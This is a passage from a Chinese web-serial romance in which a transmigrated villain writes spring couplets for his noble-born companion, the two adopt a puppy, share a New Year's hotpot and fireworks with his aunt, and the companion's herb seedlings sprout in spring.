现在手边儿也没有笔墨纸,不能让宋泊现场展示一下,不过江金熙还是相信船老板的话,虽然没读过书的人并不能很好的分辨出字的好坏,但他们觉着好看的字,大都不会差到哪儿,毕竟书法是门艺术,好看才是王道。 “你既会写字,自然也会识字才是。”江金熙斟酌着,“怎么在村中的名声那般差呢?” 江金熙还记着他刚到近里村的时候,周围人提起宋泊都是一股嫌弃之色,就连与他有血缘关系的宋茶栽,也是几次交流以后才亲近起来的。 按理来说恒国的读书人很少,随便一个读书人在附近圈子中的名声都不会差到哪儿才是,怎的宋泊在村里就像个人人喊打的过街老鼠。 因为他跟原主不是一个人。 宋泊说不出这个理由,别到时话没解释清楚,还被人抓去驱魔了。 宋泊沉默了一会儿,才道:“我字写得好,却也做了不好的事,村中人那般说我也是正常的。” 江金熙与宋泊接触不过几个月,比不上村中与他生活十几年的村民,农村村民质朴,对一个人的好坏定义从来不是随口而来。 江金熙脑中顿时出现了很多宋泊读书失意后做的混沌事。 见江金熙眉头皱了起来,宋泊解释着,“不过现在我已经不会再做糊涂事了。”虽然宋泊知道他与江金熙的缘分不过一年而已,但他还是希望江金熙回到京城偶尔想着他的时候,他身上蹦出来的词都是褒义词。 江金熙总觉着割裂,好似之前的宋泊与现在的宋泊不是一人,因为自他到村子以后,宋泊从未对他做过坏事,相反,甚至对他极好。 “都过去了。”江金熙说:“他们总会知道你其实改邪归正了。” 两人吃着菜,气氛沉默下来。 江金熙思绪百转,还是问了出口,“你还想读书吗?” 毕竟读书是普通人跨越阶级最简单的路径,江金熙喜欢宋泊,情人眼里出了才子,他觉着宋泊不该被田地束缚,应当到更大的舞台绽放光彩。 正巧他还有个当丞相的爹,定然能为宋泊的青云之路提供一些帮助。 “许是不想了。”宋泊答,用上“许”字,就是不想讲话说得太死,没准等江金熙走后,他避在乡村之中避得乏了,又想出来读书也说不准。 其实说得宽松的最主要的原因,宋泊藏与心底不敢深思,那就是要一个配得上江金熙的身份。 可叶单越总是会来的,他们才是官配,他这个本该在一年以后就被斩首的“死人”,哪儿有权利站在江金熙身旁。 “不想也好。”江金熙收起劝学的心思,顺着宋泊的话说下去,“你做着工,我学着医,等我学好了医看诊赚钱,我们的日子依旧滋润!” “你说的是。”宋泊说。 江金熙的手自桌子底悄悄升了起来,做了个举手的姿势,他神色乖巧,语气放软,“不过我有一个小小的请求。” “你说。”江金熙难得提一次请求,就算是天边的月亮,宋泊也会想个法子给他摘来。 “我想在家里贴你写的春联。”江金熙瞳孔朝上,像个小鹿一样,眼巴巴地瞅着宋泊。 “没问题。”宋泊答。 听着宋泊答应,江金熙都失了吃饭的心,他不停往宋泊碗里夹菜,就是希望他吃快些,他们早点儿去买红纸,早点儿看着宋泊的字。 宋泊被江金熙的动作搞得哭笑不得,他只能合着江金熙的心意,赶紧吃饭,又着急扒了两口饭以后,宋泊放下空碗,结了账拿上炉具与江金熙一同出了喜春楼。 只买红纸那便简单多了,随意一家卖春联的铺子里都有卖空红纸,因着红纸只贴春节这几日,故而纸质不大好,所以价格便宜,最廉价的三百钱就能拿下。 不过宋泊还是挑了五百钱的那档红纸,反正刚从张福财那儿赚了钱来,买点儿好纸正好衬他的好字。 买了纸以后,宋泊便带着江金熙返程。 坐牛车回去的路上,江金熙一手撑在车边,哼着歌,那歌宋泊听过,之前在霞县泛舟湖上的时候,江金熙也哼过这首歌。 宋泊被江金熙感染着,情绪也好了起来,他问:“心情这般好?” “要看见你的字了,我高兴。”江金熙斜眼看来,眼中闪闪亮光。 原著中江金熙不是在那个男人身边就是在另一个男人身边,好似失了自己本身的价值。 最开始宋泊只能以原著来判断江金熙的性子,现下真实相处过以后,宋泊才知道江金熙其实是个很有才华的人,他渴望知识、热爱生活,不怕吃苦,人又长得漂亮,是这个世间再也找不出第二个的具有独立人格的特别的人。 原著中对他的描写简直是敷衍再敷衍! 若不是穿不回去了,他总得把那作者揪出来泡泡茶。 “如果我的字很丑呢?”宋泊说。 “那也没关系。”江金熙双手撑着下巴,两个脸颊鼓鼓的,“反正我要看。”话音落下他小声嘟囔了句,声音极小,被车轮声掩盖过去,“我可是你夫郞,夫郞不知道夫君字长什么样,说出去让人笑话。” “你说什么?”宋泊只隐隐约约听着两个字,单凭两个字要他判断一整句话是什么,属实是有些为难他了。 “我没说。”江金熙闭着嘴,笑嘻嘻地看着宋泊。 没说就没说,总归不是什么重要的话。 第49章 第四十九章写字。 回了家,江金熙殷勤得不行,又是帮宋泊把炉具拿进厨房里,又是帮宋泊把书桌前的椅子拉开,看得宋泊忍不住发笑,“你当真这么期待我写字?” “也不是期待吧。”江金熙双手交握放在身前,为自己辩解,“只是帮你做些准备而已。” 既然江金熙这般期待,宋泊便不会辜负他的期待,他走至床边,屈下/身子从床底摸出在秦令那儿赢得的笔墨纸砚,既想写出好字,自然得配上好的纸笔。 眼瞅着宋泊从床底拿出个实木盒子,盒子上还有金边雕刻,江金熙联想着船老板说过的话,此物应当就是宋泊赢得比试的战利品。船老板不识笔墨纸砚的品质,告予他的时候只说宋泊赢了一套文具,却没说宋泊赢的文具品质极好。 盒盖打开,里头的墨经久不凝,无需研磨,墨水自然渗出,毛笔是上好的兔毛,笔尖柔软,合适书写任何字体,纸页带有金片,文具中的任意物品都有细节,皆彰显着此物的价值。 “秦公子用的东西当真不错。”江金熙说。 宋泊倒是没想到船老板连这事儿也与宋泊说了,“秦老板做过官,手里有些个好物也是应当。” “先不管他们了,你先写字。”江金熙可着急了,他拉着宋泊的手腕,宋泊的手腕比他手还粗,一只手弯下来指尖都触不着。 宋泊顺着江金熙的劲儿,坐到了书桌前,“好好好,我写字我写字。” 江金熙拿出在街上买的红纸,用压纸石压住,红纸平整地铺在书桌上,一丝褶皱也无。为了防止其他东西干扰到宋泊的发挥,他甚至清空了桌面,只留笔墨纸砚与红纸在桌上。 “想看什么?”宋泊提起毛笔,笔尖轻轻点上墨。 看着宋泊的提笔架势,江金熙就知道他是真有练过,心底的期待不自觉又上升了几分,“既是春联,那就写些吉祥话吧,正好可以贴在门上,与大伙儿显摆显摆。” “都未看着字呢,就打算显摆了?”宋泊笑道。 “那自然。”江金熙骄傲地抬起脑袋,这村里谁能贴上夫君写的春联,肯定独他一人。 宋泊在现代也写过不少春联,吉祥话信手拈来,他用笔尖在墨盒便刮了下,直腰垂目,笔尖利落地落在红纸上,一竖一横自带神韵。 江金熙不自觉看得痴了,写字中的宋泊倍具魅力,坐如钟样、眼神坚毅、手腕有劲,一笔一划都彰显着自信,一股文人气息萦绕在宋泊身边。 暂且不说宋泊的字如何,单单这个架势就已经迷住了江金熙,他本就喜欢宋泊,看着宋泊写字模样以后,他更加坚定此人就是他这辈子想共度一生的人。 几个眨眼的功夫,宋泊就将毛笔放在笔架上,“好了,瞧瞧吧。” 江金熙侧身看来,喜爱之情早已溢出眼眶,宋泊的字苍劲有力,每个笔画皆有技巧,这哪儿是春联,这是一副艺术品。 江金熙看着宋泊,问:“我能拿起来看看吗?” 宋泊双手背于身后,“你喜欢怎么看就怎么看。”反正如果抓破了纸,他马上在写一副就是。 江金熙小心翼翼地抓起春联两角,高高举在面前,一个字一个字地往下欣赏。这离得近了,才发现字上还有小巧思,每个字用的技巧略有不同,但凑在同一副联儿上却是极其和谐。 “你太厉害了。”江金熙将春联重新放于桌上,忍不住转头夸赞宋泊,“世间名家未必能比过你。”爹爹在府里放了不少字画,他在京城的房间中也挂了两副,不过比起宋泊这副春联,那些字画都不够入眼的。 “你喜欢就好。”江金熙高兴,宋泊也高兴,难为他使上了所有的技巧,就为了讨江金熙一笑。 “我这就挂出去!”江金熙道。 “还未干呢,等干了再挂。”宋泊说。 虽说这墨入了纸便不会在滑落下来,但为了保险起见,还是干透了再挂比较合适。 “说得也是。”江金熙应道。 宋泊漏了一手以后,就将笔墨纸砚收回木盒之中,江金熙已然知道他会写字,再藏着这物也没有必要,他便把这木盒放在书桌之上,这样江金熙要用的时候,顺手就能取来。 贴春联需要米糊,宋泊出了卧房进厨房里烧火起锅熬米糊,米糊香味出来以后,他端着熬好的米糊回卧房喊江金熙时,江金熙还坐在书桌前欣赏春联。 江金熙越看越觉着好看,越看越喜欢这副春联,听着宋泊喊他出去,他都有些舍不得贴上去了,“要不我们还是贴买来的春联吧。” “舍不得?” “舍不得,贴在门上整日风吹日晒的,再下个雨糊了字岂不是浪费?”江金熙说,艺术品就得挂在房内日日欣赏。 “都好,你决定。”宋泊说。 这春联是为了江金熙而写的,他怎么处置他都乐意。 江金熙坐与书桌前犹豫了一会儿,最终决定将这副春联贴在屋内,外头门上的春联贴别人写的,这样坏了也不心疼。 宋泊听着江金熙的话,两人拿着春联出了卧房,宋泊长得高,贴春联的活儿自然落在他的手中,江金熙倒退着往后走了几步,“好啦,你贴吧。” 宋泊比划着,但因为离得近,多少会有些左右不对称,江金熙一会儿喊左一会儿喊右,两人配合默契,三两下便将春联贴在了门上,贴完春联还不够,宋泊还将**联时顺道买的灯笼也挂了上去,这门上加了一点儿红以后,整个院子瞬间喜气不少,有了要过年的气氛。 宋泊从架子上下来,拿着米糊正打算进卧房内把他写的那副贴起来的时候,就听着附近传来个微弱的“嘤嘤”声。 “金熙,你有听着什么声吗?”宋泊问。 宋泊话音落下,两人安静下来,一片静谧之中,那个“嘤嘤”声越发明显了。 “听着像小狗的叫声。”江金熙说。 像是印证江金熙的话一般,一个土黄色的小脑袋从院门口露了出来,小狗小步小步挪着,刚学会走路四肢还不是很听话,走两步还摔一次。 “真是小狗!”江金熙惊道。 宋泊也有些惊奇,冬日这么冷,这小狗还能坚持着走到他们家,许是狗妈妈正在附近。 江金熙轻脚走到小狗面前,蹲下/身子,声音都柔了不少,“你是谁呀,你怎么来的呀?” 小狗儿哪儿会回他的话,它小步走到江金熙前头,脑袋一垂,耷拉在江金熙的手掌之中,一对圆圆的眼睛瞅着他瞧。 宋泊把米糊放进屋子里,然后绕到院外找了找。 如果真是狗妈妈带的小狗,那么大狗应当离得不远才是,不过他都快走到宋茶栽家,别说狗了,连个鸟儿都没瞅着。他走回家中,江金熙已经跟小狗玩起来了。 听着脚步声落在他耳边,江金熙抬起头,“宋泊,我们养它吧?” 小狗似乎知道江金熙正在为他请求一个家,它挪着小短腿蹭着宋泊的裤脚。 宋泊不讨厌小动物,这狗儿鼻头一圈还是黑毛,看起来憨憨的,养着也成,反正这么个小狗,一月也吃不了多少东西。 更何况世间还有个俗语,狗来富,这小狗在这个辞旧迎新的时候来到他们家,定是个吉兆。 “好啊。”宋泊应声。 江金熙当真是高兴得不行,他双手轻轻捧起小狗,“你有家啦。”语罢,他想着要给小狗儿起个名儿,这事儿简单却难住了他。 小狗许是饿了,一直嘬着江金熙的指尖,小狗舌头软软的,这感觉软到心坎之中。 “它好像饿了。”江金熙说。 狗儿还小,其它硬东西它也吃不下,宋泊想到他们用来贴春联的米糊,米糊稠,正好可以用来喂狗。他从房里把米糊拿出来,放在小狗面前,小狗鼻尖动了动,嗅了两下后,就低着头吃起米糊。 宋泊也是没想着,这米糊不仅可以用来贴春联还能用来喂狗,当真是一物两用,行了方便。 江金熙乖巧地蹲在狗儿边,双手盖在膝盖上,想着小狗儿的名。 宋泊站在江金熙身旁,这个高度一眼就能将江金熙的脑袋和小狗儿的脑袋一块儿看着,这画面确是和谐。 “我们叫它什么好呢?”江金熙绞尽脑汁,几十个名字在他脑海里转着,却迟迟定不下一个决定。 索性这狗儿由他和宋泊一块儿养,作为狗儿的另一个“爹”,宋泊当然也得在取名字这事上出点儿力。 宋泊是个文化人,但在取狗名字上也是犯了难,都说贱名好养活,不如就取个小黄、小白之类的没有营养的名字算了。这个念头不过出现一秒就被他丢到了一旁,他与江金熙都会读书,哪儿能取个这么“贱”的名字。 “既然它第一顿吃着米糊,我们就叫它常乐吧。”宋泊说。 ? 米糊和常乐有什么关系吗? 江金熙听着这个理由和结论也是愣了下,不过“常乐”这个名字确实不错,符合小狗儿也有吉祥的寓意,“好啊,就叫它‘常乐’吧!” 江金熙不懂,宋泊取这名儿是为了他。 若是回京城能带上常乐,他希望他能常乐。 第50章 第五十章春节(1) “宋泊,过来给我搭把手!”宋茶栽正在厨房里捯饬着晚上的大宴,年轻人就是麻烦,没事说要吃什么古董羹,烫菜多也就算了,还点了一个辣一个不辣的汤底,搞得她大老早就得开始炖汤。 过个春节都不让她清闲,像是要忙死她似的,这脾气一上来,宋茶栽说话也就不客气多了,喊人地声音大得跟雷一般,震得三里地的人都能听着。 “来哩!”宋泊的声音由远及近,身后还跟这个没他小腿肚儿高的常乐。 常乐是个小狗儿,因着刚来到这个世界不久,对什么都很好奇,一会儿跟着宋泊一会儿跟着江金熙,像个小跟屁虫。 还好宋茶栽家中没养家禽,不然一个春节光看狗追鸡就够有乐趣了。 见着常乐,宋茶栽嘟囔一句,“没事儿还养个狗。” “大姑,有什么我帮得上的?”宋泊一脚跨过门槛,常乐腿短过不来,尝试几次皆是以下巴磕在门框上为结尾,便在门槛对头急得团团转,嘴中发着“嘤嘤嘤”的叫声,宋泊也没心软地把常乐抱进厨房,厨房毕竟是做菜的地儿,还是不合适狗儿进。 宋茶栽看着直打转的常乐,笑道:“这小狗挺憨,还会叫唤。” “大姑!”宋泊又唤了声宋茶栽,宋茶栽才把眼神从常乐的身上收回来,她从灶台上拿过一块羊肉,“啪”的一声丢在宋泊面前,“你要吃古董羹,就自个儿备菜!” “得令!”宋泊一撸袖子,把羊肉放在砧板上,晚上烫古董羹要用的肉片,不能太厚也不能太薄,极其考验切肉者的刀工,好在他在现代时经常自个儿下厨,切肉这事儿也难不倒他。 只两人在厨房中,宋茶栽沿着门往外看去,江金熙正在帮刘南民贴春联,两人贴得正热闹,争着左一点儿还是右一点儿,当是注意不到他们这边儿。这几个月她瞅着宋泊与江金熙之间的互动,比起寻常小情侣那是有过之而无不及,她忍不住问出心底的问题,“你对江金熙到底是个什么心思?” “什么什么心思?”宋泊装傻。 “骗别人可别把自个儿骗了。”宋茶栽洗着菜,水声哗啦啦却还是挡不住她的声音,“大姑都看在眼里,你定是喜欢他的。” “那又如何?喜欢就必须得在一起吗?”宋泊大大方方承认,眼神却淡淡地瞅着羊肉,手上刀利索,一片一片羊肉从刀边落下,看不出什么情绪。 听着宋泊的话,宋茶栽忽的不会回答了,喜欢不在一起,那……? “大姑你也知道,金熙他不是普通人,他的言行举止之中,无不彰显着他是个达官贵人家的哥儿。”宋泊说:“世间喜事都讲究个门当户对,我连个像样的聘礼都拿不出来,何谈与金熙在一起?” 理是这么个理,但宋茶栽就是觉得江金熙不是那般肤浅的人,“那你读书去呀,当个官不就门当户对了?” 宋茶栽刚提出这个建议就闭了嘴,这主意虽好却带着点馊,宋泊从未读过书,从现在开始读书考科举,中不中且不说,就是中了,恐怕也得三四十岁了,江金熙定等不了那般久的。 她又扭头看了眼宋泊,宋泊侧着脸对着她,脸廓线条优秀,不肥不瘦,乌黑的秀发被发带高高束起,露着光洁的脖颈,背直头立,身形端正,若不是宋茶栽知道他在切肉,还真要以为他正在做什么高雅之事。要不然换条通道,用美男计? “考上了也无用。”宋泊说着,将切好的羊肉整齐铺在盘子之中。 宋茶栽不懂,宋泊一个十九岁的青年,说起话来老气横秋的,还带着一股莫名的无力感,“你好像已经看见了结局?” 宋泊当然知道结局,结局就是叶单越带着江金熙回京城,他躲过砍头一劫,在乡村里隐秘度日过一辈子。 “大姑,有没有什么要我帮忙的?”江金熙帮刘南民贴完春联,一步也未闲着,直接进了厨房,看着门框边打转的常乐,他忍住没出手碰它,只是小声说着,“常乐你到外边儿玩去,厨房你不能进。” 江金熙来了,宋泊和宋茶栽聊的话题立即终止。 江金熙心思敏锐,一下便察觉着气氛不对,他悄悄打量着宋泊,宋泊抿着唇,脸色看着正常,但他就是觉着宋泊情绪不佳。 他小步挪到宋泊身边,双手交握放在身后,微微倾身,半张清秀的脸蛋出现在宋泊的视线范围中,他看着边儿放着的一盘排列整齐的羊肉,没有直接夸宋泊,而是拐了个弯去问宋茶栽,“大姑,这羊肉你切的吗?” 宋茶栽多少能察觉江金熙的心思,她顺着江金熙的话说,“那咋可能,是宋泊切的。” “噢——”江金熙拉了个长音,眼神上扬瞧着宋泊,“原来是你这个帅气帮工切的呀?”说罢他把羊肉盘端起来细心瞧着,“这肉当真是切得恰到好处,没点儿刀功练不出来的,对吧,大姑。”说话间还不忘拉上宋茶栽一块儿夸人。 “欸!金熙说的极对。”宋茶栽上道地应声,当个捧哏。 宋泊都被他俩逗笑了,心底那抹不如意瞬间被抛到了脑后,今儿个可是除夕,带着不高兴跨年可是会苦一年的。他笑着道:“好啊,大过年的你俩合伙起来捧杀我呢?” 见宋泊笑了,江金熙也跟着笑了,他放下羊肉,从怀里拿出个手巾给宋泊擦汗,“哪儿是捧杀,都是真话。” “这么冷的天儿我还流汗?”宋泊确实没觉着自己流了汗,虽然现在在干活,但也是站于一地儿未动,冬日这么冷,他还会流汗? “一点儿,擦擦。”江金熙说着,手巾碰上宋泊的额头,他的动作很轻,把宋泊的思绪一下拉到了脑门上。看着面前离他不过一个拳头的江金熙,宋泊想,叶单越怎么那么好命,能当上原著的主角攻。 江金熙认真擦完以后,把手巾重新塞回怀中,而后与宋茶栽讨了活儿做。 宋茶栽看了眼背对她切肉的宋泊,又看了眼坐在小木凳上择菜的江金熙,只觉得宋泊刚刚说的话没一分道理,按她来看,他们的结局定是一生一世一双人。 忙活了一个下午,天色刚刚暗下,宋茶栽就将古董羹抬上了桌。 因着吃古董羹要烧炭,所以便没打算在房间内吃,刘南民抬了大圆桌来,古董羹便直接被放在正中央,这碳火一烧,热度上来,坐在院中也不觉着冷。 中间放着古董羹,边儿放了圈要烫的菜和肉,再加上几盘熟食,每人装上一碗饭,这宴席就算布置得差不多了。 只是四个人的围炉,准备这些个菜已经多过了头,足以他们吃个三、四天。 江金熙倒是没想到,桌上居然还会有两道甜口的菜,一道咕噜肉,一道桂花糖藕,都是他爱吃的菜。 宋茶栽不会做这般菜品,那这两道菜出自谁手,不用想便知道。 江金熙手里抱着手炉,只觉着心跟这手炉的热度一样热,烘得他脸儿烫。 宋泊挪着椅子,没有外人在场,大伙儿坐得近些也热闹。 宋茶栽将家中挂着的灯笼点亮来,院内瞬间亮了起来,充满喜气洋洋的气氛。 过年就得一家人坐着一块儿围炉才是。 宋泊拉着江金熙在位子上坐好,一家宴席没那么多规矩,无需主位致辞,大家坐下便可拿筷子开动。 宋泊馋古董羹已经馋很久了,坐下以后他立即拿着大汤勺,给自己和江金熙各舀了一碗清汤在碗里。 宋茶栽也是宠他,他说要喝菌菇汤,她便熬了锅大骨汤放了不少的菌菇在里头。 宋泊把碗放在江金熙面前,说:“先喝汤,暖暖身子。” “好。”江金熙把手炉搁在一旁,拿起小汤匙喝汤。 宋泊跟着也舀了一勺汤送入口中,原生态的东西就是鲜甜,这汤入口中,先是一股蘑菇的菌味儿,而后鲜味慢慢溢了出来,充满整个口腔,一口热汤下肚,胃暖了,身体也暖了。 宋泊拿着公筷夹了筷羊肉,而后站起来,将羊肉放进古董羹之中。 古董羹因下面烧着碳又放在桌子正中,想烫菜烫肉的话就得站起来烫,好在今儿个都是自家人,随意站起来也不会被说不礼貌。 羊肉熟得很快,宋泊一筷子夹了不少,给大伙儿都分了一些,江金熙分得最多,足足有三片。 眼瞅着宋泊碗里只有一片,江金熙便想着均分,筷子刚碰着肉,就被宋泊看出了意图,宋泊摁住他的手腕,道:“你先吃,我再烫就有了。” “可是” “没有可是,羊肉可是补身子的,你的手那么凉,可得好好补补。”宋泊说。 既然宋泊这么说,江金熙就只能听着话用羊肉沾了下酱油,把羊肉送入口中。 可能是今儿个买的羊肉新鲜,也可能是今儿个倒的酱油新鲜,总之着羊肉吃起来嫩滑弹牙不说,还一点儿腥味没有,极其好吃。 50-60 第51章 第五十一章春节(2) 宋泊一直站着,给大家烫菜、烫肉,以致于半炷香时间过去,他只喝了一碗汤吃了几片羊肉。 江金熙拉了下宋泊的衣摆,说:“你歇会儿,我来接手。”托他的福,自己碗里的烫菜一直未少过,这一直吃都有些饱腹感了。 “差不多了。”宋泊夹完最后一筷子肉,坐下。 不过就算宋泊这么说了,江金熙还是站起来接着他的位儿给大家烫菜,宋泊也是难得享受了把被伺候的滋味。 除夕就是大家坐在一起聊天吃饭,大伙儿边聊着天边吃着古董羹,气氛热闹融洽。 这还是宋泊来到古代以后过的第一个春节,心底说不出是什么味儿,却是觉得自己真正属于这里,他用余光注意着江金熙,江金熙已经坐下,他像是饱了,可还一直夹着桂花糖藕和咕噜肉,边吃着还扶着脸眯眼,应当是十分满意。 如此宋泊也是松了口气,不枉他趁着出去采买食材的时候,偷偷猫去喜春楼学了两手。 食至一半大家都七分饱的时候,宋茶栽进了屋子里,拿出两个小钱袋出来。 对小孩来说,除夕夜最重要的事情就是能领压岁钱,宋泊和江金熙都已经成年了,宋茶栽却还将他们当小孩子看待,一人手里分了个钱袋。 “大姑,我不能要。”宋泊推着手就要还回去,江金熙看着宋泊的动作,跟着也要还,都已经成年了还收长辈红包这哪儿说得过去。 “诶!不许还。”宋茶栽双手叉腰,两眼故作凶狠地一瞪,“送你们的好兆头怎么能还呢!” “大姑” “说了不许还,谁还我生谁气!”宋茶栽说:“没多少钱,就是祝你们个明年顺遂。” 宋泊和江金熙两人相看一眼,没有再推脱,接下了宋茶栽的好意。 江金熙坐在位置上盯着钱袋儿,两手大拇指摩挲着上头的花纹,每年春节娘亲也会送他一个钱袋,这般想来,他想家了。这是他第一次没在家中过年,也不知道爹爹和娘亲是什么样的心情,娘亲那般疼他,这时定是在家中哭呢。 人就是不能过节,一过节以往藏在心底的思乡情绪就会不自觉的蔓延出来。 爹爹究竟做什么去了,怎的这么多月了还没找着他,他喊阿篮挂上了带有他小名儿的招牌,爹爹的人若是看着定会留心的。 自接到钱袋以后,江金熙就沉默了许多,宋泊一直注意着他的情绪,只见他眼中渐出晶莹之色,像是快要哭了。 过春节怎的能落泪,见江金熙憋着泪,宋泊歪了身子,挡住他半张脸后,说:“想家了吗?” “嗯。”江金熙点头。 宋泊知道他是怎么来到这个小乡村的,在他面前,江金熙无需伪装。 “别怕,明年你定能回家。”宋泊说。 按着原著的走向,明年九月叶单越就会找到近里村来,然后带着江金熙回家。 江金熙心底升起一股复杂的情绪,听宋泊这么说,他好像是找了法子要送他回家,可是他回京城,宋泊会跟着他回京城吗?他想回家却也不想与宋泊分开。 常乐似乎也感觉到了江金熙的情绪,它两个前爪扒在江金熙的腿上,半立着朝江金熙“嘤嘤”叫。 江金熙垂着头,轻声唤了声“宋泊”。 “嗯?”宋泊低下头来,这一声应温柔如水。 “你”愿不愿意跟我一起回家,整句话,江金熙说出第一个字以后便退缩了,这里是宋泊的根,他与他也不是真正夫夫,他怎会舍弃近里村,与他*一块儿去京城。 “怎么了?”宋泊问。 江金熙捏紧了钱袋,摇了摇头,“不,没什么。” 时间一分一秒过去,大家吃饱了就放下筷子坐着聊天,周围有村民的小孩子吃完饭三三两两聚在一起玩闹,吵闹声不大,却增添了几分热闹,将江金熙心底的寂寥驱散些许。 他已经搁下餐具许久,这一不吃热乎东西,手就开始凉,他把钱袋收进怀中,正打算抱起手炉的时候,一只手比他还快地碰上手炉壁,“都冷了,我去给你换个碳。” “不用那么麻烦的。”江金熙说。 “不行,这手炉太冷了,都没作用了。”宋泊说着就要起身,却被江金熙握住了手,江金熙的力道不算大,却抓得很紧。 宋泊半挪起来的屁股又落回凳子上,江金熙自想家以后就情绪低落,宋泊有意哄他,便用自己的两只手将江金熙的双手捂在中间,“不愿加碳,那我就这般暖着你。” 江金熙感受着两手手背上的温度,微微笑着说道:“这确是比手炉暖多了,既不用加碳还不用花银两。” 江金熙个子比宋泊小,手自然也比宋泊小一些,宋泊两手一合,能将江金熙的手严严实实地捂在手中,江金熙当真是体寒,一会儿时间两手又成了冰块,他道:“那是自然,独属于你的手炉。” 江金熙听着这话,耳廓轻微摆了一下,而后淡淡的红色漫上他的耳廓,他抿了下唇,收敛着自己不自觉想要上扬的嘴角,本来微凉着心又被宋泊暖活了起来。 爹娘总会找着他,带他回家,到时他就死缠烂打要宋泊与他一块儿走,宋泊这般疼他,也许会答应呢?江金熙想着,不管宋泊究竟答不答应,那都是以后的事儿,他要享受当下,珍惜与宋泊在一起的每分每秒。 不知聊了多久,天色暗沉下来,忽然间天空绽放一朵红色的烟花,这烟花很简单,却足以燃起村中人的热情。 “烟花烟花!” “我要去喊娘亲来看!” 附近的孩童看着烟花,声音抬高了不少,他们这儿听得也更清晰了些。 “看来是新年到了。”宋茶栽说。 “你怎么知道?”刘南民问着。 “从杨绘那儿听来的消息。”宋茶栽给自己倒了杯酒,饮上一口后说:“这不是北方大捷,皇上大喜,每个乡县都发了烟花,说是都要在跨年的时候放,与民同乐呢。” 北方大捷?宋泊还是第一次听到这个消息。说起来原著中的叶单越就是个将军来着,难道他带着军是北域军,这么想着宋泊也问了出口。 宋茶栽有些奇了,“叶单越可是玄甲将军,他的名号你未曾听过?” “他有什么事迹?”宋泊反问。 原著里没有详细描写叶单越的功绩,因着故事围绕着江金熙走,所以叶单越的将军称号也只是个称号,后头都是描写江金熙在京城中生活中的勾心斗角,叶单越作为个将军也没什么作为。 听宋泊对叶单越这么有兴趣,江金熙也提起耳朵听着,叶单越是他从小玩到大的青梅竹马,若说他的事,江金熙定是比大多数人都了解,可他这时却不能说出来,露了他的身份。 近里村毕竟离京城远,离北方更远,宋茶栽对叶单越的了解也不是很多,说来都是些坊间的传闻,到底是真是假也没个准头。 说是叶单越带着玄甲军第一次与夷人对上就大挫夷人士气,将他们击出去七里地,赢得第一次胜利。接着叶单越乘胜追击,花了三月时间,将夷人赶出了恒国的边界,北关大捷。 因着夷人一直是恒国皇帝的一个心头大患,几年以来不断骚扰恒国北域,搞得北域百姓民不聊生,所以北关大捷恒国皇帝才会如此高兴,不惜花大价钱也要与民同乐。 “如此,倒也值得一次大出血。”宋泊说。 说话间,又是一朵烟花绽放在空中,这朵烟花的颜色与前头不同,变成了蓝色。 这烟花比不得现代花样多,烟花炸开在空中以后只是圆圆地扩散开来,但在技艺落后的古代能看着这般烟花非常不易,一件烟花价格极贵,恒国皇帝也是下了血本,这般一处处发去,中间官员定捞着不少油水,他们这个近里村能得着一件,已是喜事一件。 看着逐渐散去的烟花,江金熙也是觉着高兴,爹爹一直为国效力,恒国皇帝的心头大患便是他的心头大患,这下叶单越将夷人击退了去,爹爹应当会非常高兴。 “砰”的一声,又是一朵烟花炸开在空中,照亮了江金熙的眼眸,江金熙似乎透过这场烟花看见了繁荣昌盛的恒国。 宋泊与江金熙一块儿抬着头,他的余光看着江金熙上扬的嘴角,还是烟花讨人喜欢一些,除夕跨进春节的重要时分哪儿能没有烟花加持。 看着眼花朵朵绽放在空中,宋泊情不自禁,改变了捂着江金熙手的姿势。 江金熙发觉自己的指缝中插/入了宋泊的指节,两人十字相扣的,温暖源源不断自宋泊的手心传进他的手中。 “快看烟花,多漂亮。”宋泊不敢瞧江金熙,只有侧脸对着江金熙,江金熙看着宋泊的耳朵,原来宋泊的耳朵也会泛红,虽然红度并不那么明显,却也能看出分毫。 江金熙紧了紧手,两人的指尖勾住彼此的手臂,他应声,“嗯!确实很漂亮。” 第52章 第五十二章叶单越来了。 春节过后,万象更新,一切都步入正轨。 二月初,正是万物复苏的时候,宋泊老早就上工去了,只留江金熙在家中。 今儿个天气很好,春风徐徐太阳也不晒人,江金熙吃过早饭后戴着草帽、带着常乐就下了田,看看自己的草药苗子长得如何。 自冬过以后,江金熙每日都会到田里去看上几眼,这可是赚钱的草药,可得按着季节发芽。 走到田中,田里还是一片土灰色,江金熙沿着田埂走过,忽而发现田中出了一抹绿,这绿不显眼,还是江金熙先瞅着只蝴蝶翩翩飞,顺着蝴蝶路径看着的绿。 江金熙的喜悦就如蝴蝶飞舞的路线一般,直线上扬,他蹲在田埂上,两手放在膝盖上,欣喜地看着田间那棵只有一片小叶的苗儿,先不说这草药之后能不能活,草药种子能顺利发芽就已经是个吉兆了。 常乐看自家主人一直看着个小苗苗,它起了个顽皮的心,几步上前正想扒拉小苗引起江金熙注意的时候,就被江金熙插着胳肢窝给抱了起来,“常乐,不行。” 听着江金熙的语气,常乐猜想自己犯了错,它两耳往后一撇,装乖卖萌乞求江金熙的原谅。 江金熙哪儿会与一只小狗计较,他抬起手摸了摸常乐的脑袋,继续低头看着草药苗。 发现一株草药苗以后,其它的草药苗似乎也显眼多了,江金熙一路数了过去,发了大概有一百来棵的苗儿。 江金熙按捺不住想分享的心情,抱着常乐到了宋茶栽家中。 听江金熙说起草药苗子发芽的事儿,宋茶栽也是很高兴,“这么好的事儿,不如去镇里跟宋泊说说?” “可以吗?”江金熙问。 草药发芽对于普通农民来说可是再正常不过的事情,因这点儿小事就找到镇里去,不知宋泊会不会觉得他小题大做。 “为何不可?”宋茶栽怕江金熙觉着只因一件事就去镇中不妥,还特意加了个事儿给他,“你去镇里正好,帮我送个草药去镇里。” “好呀。”江金熙应得极快,有了宋茶栽的活儿,他去传福镇找宋泊都理直气壮了些。 既要出门,常乐就不能跟着去,虽说已经长了两个月,但身形还是小,跟着江金熙出门再被不小心踢着了就得不偿失了。 常乐也是执着,它扒在院门口嘤了几声,听不见江金熙回应以后,它后腿一软坐在院门口,这一坐就坐了半刻钟。 江金熙坐在去往传福镇的牛车上,身上背着一个宋茶栽给他的小背篓,背篓里东西不多,只是起到一个掩饰的作用。牛车一晃一晃,江金熙的心也一晃一晃,他在脑海中一直想着措辞,想着怎么与宋泊分享这个消息,才不会显得特意。 到了传福镇,宋泊先按着宋茶栽说的位置,给一位老客户送去草药,那个老客户是个老婆婆,看着江金熙的时候还说江金熙长得漂亮,将来定然大富大贵。 江金熙知道老婆婆说的是吉祥话,但他还是心情愉悦地哼着歌,寻找百书阁。 